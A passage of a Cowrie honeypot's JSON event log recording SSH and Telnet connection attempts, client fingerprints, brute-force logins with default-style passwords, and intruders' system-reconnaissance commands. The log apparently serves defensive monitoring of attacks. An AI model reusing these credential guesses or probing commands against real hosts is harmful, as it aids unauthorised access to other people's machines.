ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:23.386237Z","src_ip":"159.203.92.129","session":"295668707468","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:23.398712Z","src_ip":"159.203.92.129","session":"295668707468","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:23.447507Z","src_ip":"159.203.92.129","session":"295668707468","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:23.451409Z","src_ip":"159.203.92.129","session":"295668707468","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:23.455728Z","src_ip":"159.203.92.129","session":"295668707468","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:23.469444Z","src_ip":"159.203.92.129","session":"295668707468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:05:23.475207Z","src_ip":"159.203.92.129","session":"295668707468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":58030,"dst_ip":"10.17.0.5","dst_port":22,"session":"6428d57fa286","protocol":"ssh","message":"New connection: 74.91.224.229:58030 (10.17.0.5:22) [session: 6428d57fa286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:00.089825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:00.097404Z","src_ip":"74.91.224.229","session":"6428d57fa286","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:00.337401Z","src_ip":"74.91.224.229","session":"6428d57fa286","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"ubuntu@123","message":"login attempt [Ubuntu/ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:01.325578Z","src_ip":"74.91.224.229","session":"6428d57fa286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:02.568268Z","src_ip":"74.91.224.229","session":"6428d57fa286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51764,"dst_ip":"159.203.135.109","dst_port":22,"session":"d99c2d872b21","protocol":"ssh","message":"New connection: 159.203.92.129:51764 (159.203.135.109:22) [session: d99c2d872b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:06.171362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:06.176358Z","src_ip":"159.203.92.129","session":"d99c2d872b21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:06.181445Z","src_ip":"159.203.92.129","session":"d99c2d872b21","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234567","message":"login attempt [admin/admin1234567] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:06.197660Z","src_ip":"159.203.92.129","session":"d99c2d872b21","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:06.247174Z","src_ip":"159.203.92.129","session":"d99c2d872b21","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:06.250813Z","src_ip":"159.203.92.129","session":"d99c2d872b21","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:06.255160Z","src_ip":"159.203.92.129","session":"d99c2d872b21","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:06.267179Z","src_ip":"159.203.92.129","session":"d99c2d872b21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:06.271670Z","src_ip":"159.203.92.129","session":"d99c2d872b21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":40972,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2dfd5d8f9de","protocol":"ssh","message":"New connection: 74.91.200.154:40972 (10.17.0.5:22) [session: a2dfd5d8f9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:14.740383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:14.745028Z","src_ip":"74.91.200.154","session":"a2dfd5d8f9de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:14.960254Z","src_ip":"74.91.200.154","session":"a2dfd5d8f9de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"streamserver","password":"streamserver","message":"login attempt [streamserver/streamserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:15.870732Z","src_ip":"74.91.200.154","session":"a2dfd5d8f9de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:17.082687Z","src_ip":"74.91.200.154","session":"a2dfd5d8f9de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46116,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e823a2e5ae0","protocol":"ssh","message":"New connection: 159.203.92.129:46116 (159.203.135.109:22) [session: 7e823a2e5ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:48.227948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:48.234550Z","src_ip":"159.203.92.129","session":"7e823a2e5ae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:48.239186Z","src_ip":"159.203.92.129","session":"7e823a2e5ae0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin12345678","message":"login attempt [admin/admin12345678] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:48.391979Z","src_ip":"159.203.92.129","session":"7e823a2e5ae0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:48.439152Z","src_ip":"159.203.92.129","session":"7e823a2e5ae0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:48.443181Z","src_ip":"159.203.92.129","session":"7e823a2e5ae0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:48.447442Z","src_ip":"159.203.92.129","session":"7e823a2e5ae0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:48.458646Z","src_ip":"159.203.92.129","session":"7e823a2e5ae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:48.466166Z","src_ip":"159.203.92.129","session":"7e823a2e5ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":40152,"dst_ip":"10.17.0.5","dst_port":22,"session":"2959f6b42797","protocol":"ssh","message":"New connection: 74.91.224.229:40152 (10.17.0.5:22) [session: 2959f6b42797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:55.824872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:55.829217Z","src_ip":"74.91.224.229","session":"2959f6b42797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:56.067672Z","src_ip":"74.91.224.229","session":"2959f6b42797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"streamserver","password":"streamserver","message":"login attempt [streamserver/streamserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:57.053575Z","src_ip":"74.91.224.229","session":"2959f6b42797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:06:58.295497Z","src_ip":"74.91.224.229","session":"2959f6b42797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.222.147.215","src_port":59800,"dst_ip":"10.17.0.5","dst_port":23,"session":"47e4a25662df","protocol":"telnet","message":"New connection: 8.222.147.215:59800 (10.17.0.5:23) [session: 47e4a25662df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:01.657022Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":60918,"dst_ip":"10.17.0.5","dst_port":22,"session":"cef99be0f50a","protocol":"ssh","message":"New connection: 74.91.200.154:60918 (10.17.0.5:22) [session: cef99be0f50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:25.281377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:25.289786Z","src_ip":"74.91.200.154","session":"cef99be0f50a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:25.506146Z","src_ip":"74.91.200.154","session":"cef99be0f50a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2022","message":"login attempt [root/admin@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:26.416420Z","src_ip":"74.91.200.154","session":"cef99be0f50a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:27.627858Z","src_ip":"74.91.200.154","session":"cef99be0f50a","protocol":"ssh"}
